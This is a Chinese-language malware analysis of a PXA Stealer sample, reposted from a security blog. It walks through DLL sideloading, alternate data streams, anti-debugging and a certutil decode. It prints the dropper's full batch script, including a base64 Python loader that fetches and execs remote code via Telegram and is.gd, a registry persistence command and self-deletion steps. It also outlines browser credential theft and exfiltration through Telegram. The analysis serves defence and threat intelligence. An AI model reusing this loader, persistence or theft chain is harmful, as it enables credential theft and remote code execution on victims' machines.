PXA Stealer最新攻击活动样本分析

admin 2025年5月12日08:43:36评论8 views字数 7943阅读26分28秒阅读模式
PXA Stealer是思科 Talos 安全实验室分析发现攻击行为是越南语威胁行为者发起的新的信息窃取活动,目标是欧洲和亚洲的政府和教育机构等等。 根据 Talos 遥测数据, 攻击者的动机是窃取受害者的信息,包括各种在线账户的凭证、浏览器登录数据、cookie、自动填充信息、信用卡详细信息、各种加密货币在线和桌面钱包的数据、已安装的 VPN 客户端的数据、游戏软件账户、聊天信使、密码管理器和 FTP 客户端。
本人在4月份获取了PXA Stealer对国内企业进行攻击的样本并进行了分析,希望可以帮助到大家。

4月份拿到一个样本,发现都说安全。

PXA Stealer最新攻击活动样本分析

基本情况

拿到样本为一个zip,zip中有3个文件和有一个隐藏等文件夹。

PXA Stealer最新攻击活动样本分析

解压之后发现只有一个文件

PXA Stealer最新攻击活动样本分析
PXA Stealer最新攻击活动样本分析

vcruntime140.dll文件对应的签名为Microsoft Windows Software Compatibility Publisher,微软公司。

PXA Stealer最新攻击活动样本分析

version.dll文件并没有签名。

PXA Stealer最新攻击活动样本分析

Evidence of copyright infringement >文件夹中3个文件分别是一个名为Documents.pdf的pdf文件,一个名为Evidence.docx的xml文件。PXA Stealer最新攻击活动样本分析

和一个名为Images.png的具有签名的重命名的WinRAR可执行文件

PXA Stealer最新攻击活动样本分析

手法1:利用NTFS数据流(ADS)隐写

上面的样本通过使用NTFS 数据流进行了文件的隐藏,迷惑用户。

NTFS数据流的正式名称为Alternate Data Streams,缩写是ADS ,中文可以翻译成「备用数据流」。这是 NTFS文件系统的一个特性,它允许在文件的内容之外保存额外的数据,每个文件可以存在多个数据流文件。简单地说,就是在 NTFS 文件系统中,每个文件名可以对应不止一份内容。虽然在资源管理器中用户只能看到默认的文件内容。

手法2:白加黑,DLL劫持-侧加载攻击

从手法来看,攻击者是希望目标点击Evidence of copyright infringement.exe文件进行触发,在ProcessMonito中设置规则,监视Evidence of copyright infringement.exe的进程情况,

PXA Stealer最新攻击活动样本分析

然后运行Evidence of copyright infringement.exe,在ProcessMonito中可以看到,加载了自身目录底下的version.dll

PXA Stealer最新攻击活动样本分析

加载完成自身目录底下的version.dll,还加载了C:WindowsSysWOW64version.dll,基本可以确认是使用了DLL侧加载攻击。

PXA Stealer最新攻击活动样本分析

C:WindowsSysWOW64version.dll是具有微软签名,

PXA Stealer最新攻击活动样本分析

和vcruntime140.dll,vcruntime140.dll具有有效的签名,可以暂时不用看,攻击者投放这个dll主要是确保Evidence of copyright infringement.exe可以正常启动,顺利加载version.dll。

PXA Stealer最新攻击活动样本分析

把version.dll拉入IDA进行分析

PXA Stealer最新攻击活动样本分析

在sub_10002353();中的sub_10002306()函数进行了一些主机的信息获取

PXA Stealer最新攻击活动样本分析

sub_10002306()函数作用是通过混合系统时间、线程ID、进程ID和高精度计数器生成一个伪随机数种子或唯一标识符。可能用于加密密钥生成。

在sub_100021AD()函数中,进行了一些操作然后进入核心的sub_10001F80()函数会进入sub_10001BD0()函数,sub_10001BD0()中是恶意dll的核心,是一个高度混淆的反调试和恶意负载加载器,通过动态解密、内存操作和反调试技术实现隐蔽执行的恶意木马。

手法3:反调试

使用IsDebuggerPresent(),检查检测调试器存在,若存在则直接退出进程。

PXA Stealer最新攻击活动样本分析

IsDebuggerPresent() 函数主要检测当前进程是否被调试器附加。通过检查进程环境块(PEB)中的 BeingDebugged 字段。当调试器(如 OllyDbg、x64dbg)附加到进程时,系统会将该字段设置为 1,然后再通过ExitProcess(0) 函数立即终止当前进程,返回码为 0(通常表示“正常退出”)

这里手法有点low,导入x32dbg中通过设置隐藏调试器(PEB)可以直接绕过。

PXA Stealer最新攻击活动样本分析

这样的操作具有一定的反调试。

手法4:数据解密和动态密钥生成

系统路径获取与库加载,获取系统目录,这里获取为C:WindowsSystem32,用来后续构造路径

PXA Stealer最新攻击活动样本分析

这里进行数据块解密(v0)

  • 密钥生成:基于全局变量dword_100290DC和时间种子(1321528399i64)生成动态密钥。
  • 内存混淆:通过异或运算破坏原始数据模式,密钥随循环次数动态变化。
PXA Stealer最新攻击活动样本分析

解密目标:v0指向的内存区域存储加密配置数据。

二次解密(v17)

PXA Stealer最新攻击活动样本分析
  • 魔术字节校验:确认是否需要解密(0x66对应字符'f')。
  • 动态密钥应用:覆盖前16字节为动态生成的密钥。
  • 循环异或:对后续字节进行异或混淆,增强不可预测性。
  • 解密结果:v17指向的内存区域包含解密后的库路径

恶意负载加载

PXA Stealer最新攻击活动样本分析

通过LoadLibraryW加载解密后的路径v17。

后续动态调试分析这里的主要主要为解密出来v17分别为C:WindowsSystem32kernel32.dll和C:WindowsSystem32version.dll。

然后从导入的函数来看,这个dll并没有什么用了,主要是解密出来加载dll和进行一些文件的移动,

PXA Stealer最新攻击活动样本分析

文件名字什么都是这个加密算法进行生成。

PXA Stealer最新攻击活动样本分析

直接动态调试即可。整个dll的作用就是在内存中不断解密一些路径出来,然后对路径中的文件进行不同的操作,例如移动文件等等。

手法5:通过打开pdf迷惑目标

在ProcessMonito中可以看到,是调用了cmd通过命令cmd /c "*Evidence of copyright infringement\Evidence.cmd"打开了Documents.pdf来迷惑目标。

PXA Stealer最新攻击活动样本分析

发现打开了Documents.pdf来迷惑目标,使目标认为打开的为pdf文件。

PXA Stealer最新攻击活动样本分析

手法6:利用cmd文件执行操作

.cmd文件是 Windows 操作系统中的批处理脚本文件,全称为 Command File。类似.bat。

往下可以看到把Evidence.docx文件重命名为Evidence.cmd

PXA Stealer最新攻击活动样本分析

Evidence.docx的文件内容为

PXA Stealer最新攻击活动样本分析

然后调用cmd通过命令cmd /c "C:UsersqaxDesktopEvidence of copyright infringement\Evidence.cmd"执行了这个文件。

PXA Stealer最新攻击活动样本分析

解码Evidence.cmd之后为

PXA Stealer最新攻击活动样本分析
��&clscd /d "%~dp0"start /max "" "Documents.pdf"certutil -decode Documents.pdf LX8bzeZTzF5XSONpDC.rarmkdir C:UsersPublicLX8bzeZTzF5XSONpDCimages.png x -pS8SKXaOudHX78CnCmjawuXJAXwNAzVeK -inul -y LX8bzeZTzF5XSONpDC.rar C:UsersPublicLX8bzeZTzF5XSONpDCecho ___________ = 'https://t.me/MR_Q_AIISOPSI_BOT'; exec(__import__('base64').b64decode('aW1wb3J0IHJlcXVlc3RzLCByZTsgZXhlYyhyZXF1ZXN0cy5nZXQocmVxdWVzdHMuaGVhZChmJ2h0dHBzOi8vaXMuZ2Qve21hpfScsIGFsbG93X3JlZGlyZWN0cz1UcnVlKS51cmwpLnRleHQpIGlmIChtYXRjaCA6PSByZS5zZWFyY2gocic8bWV0YSBwcm9wZXJ0eT0ib2c6ZGVzY3JpcHRpb24iIGNvbnRlbnQ9IihbXiJdKykiJywgcmVxdWVzdHMuZ2V0KF9fX19fX19fX19fKZSBOb25lCg==')) >> C:UsersPublicLX8bzeZTzF5XSONpDCPhotosstart "" /min "C:UsersPublicLX8bzeZTzF5XSONpDCsvchost.exe" C:UsersPublicLX8bzeZTzF5XSONpDCPhotosreg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun" /v "Windows Update Service" /t REG_SZ /d "cmd.exe /c start "" /min "C:UsersPublicLX8bzeZTzF5XSONpDCsvchost.exe" C:UszeZTzF5XSONpDCPhotos" /fDel /S /Q LX8bzeZTzF5XSONpDC.rar(goto) 2>nul & del "%~f0" & exit
脚本前面使用了��&; 导致在Windows中使用notepad++等等打开为乱码,在Linux中可以正常打开,原来混淆代码绕过安全检测。

使用cd /d "%~dp0"切换到脚本所在目录(%~dp0表示脚本路径),确保后续命令在正确路径下执行。

使用start /max "" "Documents.pdf"最大化窗口打开 Documents.pdf 文件。pdf(上面有提到)。

手法7:利用lolbins,certutil和解压

在Evidence.cmd中,使用certutil -decode Documents.pdf LX8bzeZTzF5XSONpDC.rar命令,利用certutil具将 Documents.pdf 解码提取并压缩为LX8bzeZTzF5XSONpDC.rar, LX8bzeZTzF5XSONpDC.rar需要密码。

Documents.pdf 为证书文件。

PXA Stealer最新攻击活动样本分析
PXA Stealer最新攻击活动样本分析

往下Evidence.cmd中使用mkdir C:UsersPublicLX8bzeZTzF5XSONpDC命令在在公共目录下创建同名文件夹。存放解压后的恶意文件,便于后续操作。然后使用images.png x -p S8SKXaOudHX78CnCmjawuXJAXwNAzVeK -inul -y LX8bzeZTzF5XSONpDC.rar C:UsersPublicLX8bzeZTzF5XSONpDC 通过密码进行解压LX8bzeZTzF5XSONpDC.rar到C:UsersPublic目录,密码为S8SKXaOudHX78CnCmjawuXJAXwNAzVeK

PXA Stealer最新攻击活动样本分析

手法8:远程内存加载,绕过EDR

在Evidence.cmd中还有如下操作

echo ___________ = 'https://t.me/MR_Q_AIISOPSI_BOT'exec(__import__('base64').b64decode('aW1wb3J0IHJlcXVlc3RzLCByZTsgZXhlYyhyZXF1ZXN0cy5nZXQocmVxdWVzdHMuaGVhZChmJ2h0dHBzOi8vaXMuZ2Qve21hpfScsIGFsbG93X3JlZGlyZWN0cz1UcnVlKS51cmwpLnRleHQpIGlmIChtYXRjaCA6PSByZS5zZWFyY2gocic8bWV0YSBwcm9wZXJ0eT0ib2c6ZGVzY3JpcHRpb24iIGNvbnRlbnQ9IihbXiJdKykiJywgcmVxdWVzdHMuZ2V0KF9fX19fX19fX19fKZSBOb25lCg==')) >> C:UsersPublicLX8bzeZTzF5XSONpDCPhotosstart "" /min "C:UsersPublicLX8bzeZTzF5XSONpDCsvchost.exe" C:UsersPublicLX8bzeZTzF5XSONpDCPhotos

解码base写入C:UsersPublicLX8bzeZTzF5XSONpDCPhotos

PXA Stealer最新攻击活动样本分析

Photos内容为

__________ = 'https://t.me/MR_Q_AIISOPSI_BOT'; exec(__import__('base64').b64decode('aW1wb3J0IHJlcXVlc3RzLCByZTsgZXhlYyhyZXF1ZXN0cy5nZXQocmVxdWVzdHMuaGVhZChmJ2h0dHBzOi8vaXMuZ2Qve21hdGNoLmdyb3VwKDEpfScsIGFsbG93X3JlZGlyZWN0cz1UcnVlKS51cmwpLnRleHQpIGlmIChtYXRjaCA6PSByZS5zZWFyY2gocic8bWV0YSBwcm9wZXJ0eT0ib2c6ZGVzY3JpcHRpb24iIGNvbnRlbnQ9IihbXiJdKykiJywgcmVxdWVzdHMuZ2V0KF9fX19fX19fX19fKS50ZXh0KSkgZWxzZSBOb25lCg==')) 

解码Photos base64文件内容:

import requests, re; exec(requests.get(requests.head(f'https://is.gd/{match.group(1)}', allow_redirects=True).url).text) if (match := re.search(r'<meta property="og:description" content="([^"]+)"', requests.get(___________).text)) else None

  1. 从 https://t.me/MR_Q_AIISOPSI_BOT 发起HTTP GET请求,获取响应内容
  2. 使用正则表达式匹配随机字符串的格式,<meta property="og:description" content="。
  3. 使用获取的内容拼接url,请求 https://is.gd/mc282ptx获取后续的shellcode;
PXA Stealer最新攻击活动样本分析

通过start "" /min "命令静默启动 svchost.exe(伪装成系统进程),并传入解压后的文件路径。

之后从https://is.gd/mc282ptx请求后续的shellcode。

手法9:通过注册表维权

通过命令reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun" /v "Windows Update Service" /t REG_SZ /d "cmd.exe /c start "" /min "C:UsersPublicLX8bzeZTzF5XSONpDCsvchost.exe" 

在注册表中添加启动项,使恶意程序随用户登录自动运行。这里伪造成为Windows更新的注册表进行权限维持,在注册表中可以看到写入了表项。

PXA Stealer最新攻击活动样本分析

HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun 是 Windows 注册表中的一个关键键值,属于 HKEY_CURRENT_USER (HKCU) 分支下的路径。它的核心功能是定义 当前用户登录时自动启动的程序或脚本。

手法10:删除自身

通过Del /S /Q LX8bzeZTzF5XSONpDC.rar命令,删除临时 .rar 文件,清除痕迹,还通过(goto) 2>nul & del "%~f0" & exit命令进行自删除脚本文件,隐藏攻击源头,增加防御难度。

手法11:使用python加载

在写入的C:UsersPublicLX8bzeZTzF5XSONpDc文件中可以看到存在以下内容

PS C:UsersPublicLX8bzeZTzF5XSONpDC> Get-ChildItem

    目录: C:UsersPublicLX8bzeZTzF5XSONpDC

Mode                 LastWriteTime         Length Name

----                 -------------         ------ ----

d-----         2024/9/15     20:00                DLLs

d-----          2025/4/9     10:27                Lib

-a----          2025/4/9     10:27            415 Photos

-a----          2023/4/5     15:47        4143384 python310.dll

-a----          2023/4/5     15:47         100120 svchost.exe

-a----          2023/4/5     15:47          76168 vcruntime140.dll

经过分析,svchost.exe是重命名之后的python.exe,为python的主的应用,具有python的签名:

PXA Stealer最新攻击活动样本分析

python310.dll和vcruntime140.dll同样具有签名:

PXA Stealer最新攻击活动样本分析

DLLs和Lib文件夹,初步分析是python环境的依赖库,即是在目标主机中安装了一个python环境。

Photos为恶意的python代码,在手法6中进行了分析。从手法7中写入注册表中的命令也可以看到:

最后通过cmd.exe /c start "" /min "C:UsersPublicLX8bzeZTzF5XSONpDCsvchost.exe" C:UsersPublicLX8bzeZTzF5XSONpDCPhotos命令请求https://is.gd/mc282ptx获取后续的shellcode。

https://is.gd/mc282ptx是is.gd提供的短网址。历史上存在大量的样本

PXA Stealer最新攻击活动样本分析

获取shellcode的是一个py的加载器。

PXA Stealer最新攻击活动样本分析

主要是解密混淆后的脚本,多次解出来,二进制内容如下:

PXA Stealer最新攻击活动样本分析

通过二进制行为进行分析,主要操作如下:

环境扫描与浏览器识别

  • 枚举本地浏览器路径,包括 Chrome、Edge、Brave、Yandex、Firefox、Opera、QQBrowser、Waterfox、K-Meleon、UR Browser 等几十种;
  • 针对每个浏览器目录检测是否存在关键数据文件(如 Login Data, Web Data, Cookies, Local State 等)。

密钥提取与数据解密

  • 读取浏览器 Local State 文件中保存的加密主密钥(base64);
  • 使用 CryptUnprotectData 调用(Windows DPAPI)对 master key 进行解密;
  • 利用解密后的 master key 解开 SQLite 数据库中的加密字段。

信息整合与打包

  • 将提取到的敏感数据整理为字典或 JSON;
  • 可能包含字段如 username、password、domain、cookie、hostname、browser_name 等。

数据上报(C2 exfiltration)

  • 使用 Telegram Bot API 上传敏感信息:

总结

具体的攻击流程如下:

PXA Stealer最新攻击活动样本分析

IOC

https[.]//is[.]gd/mc282ptx 短网址

https[.]//t[.]me/MR_Q_AIISOPSI_BOT TG机器人

https[.]//t[.]me/LoneNone TG机器人

https[.]//0x0[.]st/

https[.]//api[.]telegram[.]org/

https[.]//ipwho[.]is/

感谢rookie、DI仔对分析提供的帮助

原文始发于微信公众号(黑白天实验室):PXA Stealer最新攻击活动样本分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月12日08:43:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PXA Stealer最新攻击活动样本分析http://cn-sec.com/archives/4052646.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息